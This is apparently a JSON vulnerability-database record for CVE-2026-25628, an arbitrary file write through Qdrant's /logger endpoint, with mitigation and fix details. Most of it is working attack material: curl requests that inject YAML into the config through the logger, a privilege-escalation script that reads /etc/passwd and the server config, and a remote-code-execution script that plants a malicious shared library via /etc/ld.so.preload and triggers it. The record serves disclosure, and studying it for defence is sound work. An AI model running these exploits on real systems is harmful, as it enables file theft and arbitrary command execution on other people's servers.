{"id":"CVE-2026-25628","aliases":["GHSA-f632-vm87-2m2f"],"url":"https://o3.security/vulnerability/CVE-2026-25628","summary":"Qdrant affected by arbitrary file write via `/logger` endpoint","details":"### Summary\nIt is possible to append to arbitrary files via /logger endpoint. Minimal privileges are required (read-only access). Tested on Qdrant 1.15.5\n\n### Details\n`POST /logger`\n([Source code link](https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195))\nendpoint accepts an attacker-controlled `on_disk.log_file` path.\n\nThere are no authorization checks (but authentication check is present).\n\nThis can be exploited in the following way: if configuration directory is writable and `config/local.yaml` does not exist, set log path to `config/local.yaml` and send a request with a log injection payload. The`PATCH /collections` endpoint was used with an invalid collection name to inject valid yaml.\n\nAfter running the PoC, the content of `config/local.yaml` will be:\n\n```yaml\n2025-11-11T23:52:22.054804Z  INFO actix_web::middleware::logger: 172.18.0.1 \"POST /logger HTTP/1.1\" 200 57 \"-\" \"python-requests/2.32.5\" 0.009422\n2025-11-11T23:52:22.056962Z  INFO storage::content_manager::toc::collection_meta_ops: Updating collection hui\nservice:\n    static_content_dir: ..\n\n2025-11-11T23:52:22.057530Z  INFO actix_web::middleware::logger: 172.18.0.1 \"PATCH /collections/hui%0Aservice:%0A%20%20static_content_dir:%20..%0A HTTP/1.1\" 404 113 \"-\" \"python-requests/2.32.5\" 0.001391\n```\n\nSome junk log lines are present, but they don't matter as this is still valid yaml.\n\nAfter that, if qdrant is restarted (via legitimate means or by a OOM/crash), then `local.yaml` config will have higher priority and `service.static_content_dir` will be set to `..`. In a container environment, this allows one to read all files via the web UI path.\n\nAlso overriding config file may let the attacker raise its privileges with a custom master key (remember that lowest privileges are required to access the vulnerable endpoint).\n\nRelevant requests:\n\n1. Enable on-disk logging to the config file:\n\n```bash\ncurl -sS -X POST \"http://localhost:6333/logger\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"log_level\":\"INFO\",\n    \"on_disk\":{\n      \"enabled\":true,\n      \"format\":\"text\",\n      \"log_level\":\"INFO\",\n      \"buffer_size_bytes\":1,\n      \"log_file\":\"config/local.yaml\"\n    }\n  }'\n```\n\n2. Inject YAML via a request that logs newlines (URL-encoded):\n\n```bash\ncurl -sS -X PATCH \"http://localhost:6333/collections/hui%0aservice:%0a%20%20static_content_dir:%20..%0a\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{}'\n```\n\n### Full reproduction instructions\n\n1. Start Qdrant with a writable configuration directory:\n\n```sh\nsudo docker run -p 6333:6333 --name qdrant-poc -d qdrant/qdrant:v1.15.5\n```\n\n2. Run the exploit:\n\n```sh\n% python3 exploit.py --url http://localhost:6333\n[+] Logger configured\n[+] Log injection successful\n[+] Logger disabled\nRestart Qdrant cluster and press Enter to continue...\n```\n\n3. Restart the container:\n\n```sh\nsudo docker restart qdrant-poc\n```\n\n4. Resume the exploit:\n\n```sh\n<press Enter>\n[+] Passwd file retrieved\n--------------------------------\n...\n--------------------------------\n[+] Config file retrieved\n--------------------------------\n...\n```\n\n## Mitigation\n\n1. Limit usage of `/logger` endpoint to users with management privileges only (or better disable it completely).\n2. Restrict the path of the log file to a dedicated logs directory.\n\nThis vulnerability does not affect Qdrant cloud as the configuration directory is not writable.\n\n## Exploit code\n\n### `exploit_privesc.py`\n\n```python\nimport requests\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\n\nargs = parser.parse_args()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"config/local.yaml\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\n\nres = s.patch(\n    f\"{url}/collections/%0aservice:%0a%20%20static_content_dir:%20..%0a\",\n    json={},\n)\nerror = res.json()[\"status\"][\"error\"]\n\nif \"doesn't exist!\" in error:\n    print(\"[+] Log injection successful\")\nelse:\n    print(f\"[-] Error: {error}\")\n    sys.exit(1)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\ninput(\"Restart Qdrant cluster and press Enter to continue...\")\n\nres = s.get(f\"{url}/dashboard/etc/passwd\")\nres.raise_for_status()\nprint(\"[+] Passwd file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n\nres = s.get(f\"{url}/dashboard/qdrant/config/config.yaml\")\nres.raise_for_status()\nprint(\"[+] Config file retrieved\")\nprint(\"--------------------------------\")\nprint(res.text)\nprint(\"--------------------------------\")\n```\n\n## `exploit_rce.py`\n\n```python\nimport requests\nimport argparse\nimport tempfile\nimport os\n\nTEST_COLLECTION_NAME = \"COLTEST\"\n\n\nparser = argparse.ArgumentParser(description=\"Exploit script for posting to Qdrant API\")\nparser.add_argument(\"--url\", required=False, help=\"Target URL for API\", default=\"http://localhost:6333\")\nparser.add_argument(\"--api-key\", required=False, help=\"API key\")\nparser.add_argument(\"--cmd\", default=\"touch /tmp/touched_by_rce\")\nparser.add_argument(\"--lib\", default=\"\")\n\nargs = parser.parse_args()\n\n\nassert \"'\" not in args.cmd, \"Command must not contain single quotes\"\nso_code = \"\"\"\n#include <stdlib.h>\n#include <unistd.h>\n\n__attribute__((constructor))\nvoid init() {\n    unlink(\"/etc/ld.so.preload\");\n    system(\"/bin/bash -c 'XXXXXXXX'\");\n}\n\"\"\".replace('XXXXXXXX', args.cmd)\n\nwith tempfile.TemporaryDirectory() as tmpdir:\n    with open(f\"{tmpdir}/cmd_code.c\", \"w\") as f:\n        f.write(so_code)\n    os.system(f'gcc -shared -fPIC -o {tmpdir}/cmd.so {tmpdir}/cmd_code.c')\n    cmd_so = open(f'{tmpdir}/cmd.so', \"rb\").read()\n\nurl = args.url\n\nheaders = {}\nif args.api_key:\n    headers[\"api-key\"] = args.api_key\n\ns = requests.Session()\n\ns.headers.update(headers)\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"log_level\": \"INFO\",\n        \"on_disk\": {\n            \"enabled\": True,\n            \"format\": \"text\",\n            \"log_level\": \"INFO\",\n            \"buffer_size_bytes\": 1,\n            \"log_file\": \"/etc/ld.so.preload\",\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger configured\")\n\nres = s.get(\n    f\"{url}/:/qdrant/snapshots/{TEST_COLLECTION_NAME}/hui.so\",\n)\n\nprint(\"[+] Log injected\")\n\n\nres = s.post(\n    f\"{url}/logger\",\n    json={\n        \"on_disk\": {\n            \"enabled\": False,\n        },\n    },\n)\nres.raise_for_status()\nprint(\"[+] Logger disabled\")\n\n\nrsp = s.post(f\"{args.url}/collections/{TEST_COLLECTION_NAME}/snapshots/upload\", files={\"snapshot\": (\"hui.so\", cmd_so, \"application/octet-stream\")})\n\nprint(rsp.text)\n# trigger the stacktace endpoint which will run execute `/qdrant/qdrant --stacktrace`\n\ninput(\"Press Enter to continue...\")\nrsp = s.get(f\"{args.url}/stacktrace\")\nrsp.raise_for_status()\n```\n\n### Impact\nRemote code execution.","published":"2026-02-06T20:44:13.487Z","modified":"2026-08-12T03:51:09.693033016Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00509,"percentile":0.42254,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"qdrant","fixedVersion":"1.15.6"}],"fix":{"url":"https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1","label":"qdrant/qdrant@32b7fdf"},"references":[{"type":"WEB","url":"https://github.com/qdrant/qdrant/blob/48203e414e4e7f639a6d394fb6e4df695f808e51/src/actix/api/service_api.rs#L195"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25628.json"},{"type":"ADVISORY","url":"https://github.com/qdrant/qdrant/security/advisories/GHSA-f632-vm87-2m2f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25628"},{"type":"FIX","url":"https://github.com/qdrant/qdrant/commit/32b7fdfb7f542624ecd1f7c8d3e2b13c4e36a2c1"},{"type":"PACKAGE","url":"https://github.com/qdrant/qdrant"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:09.693033016Z"}}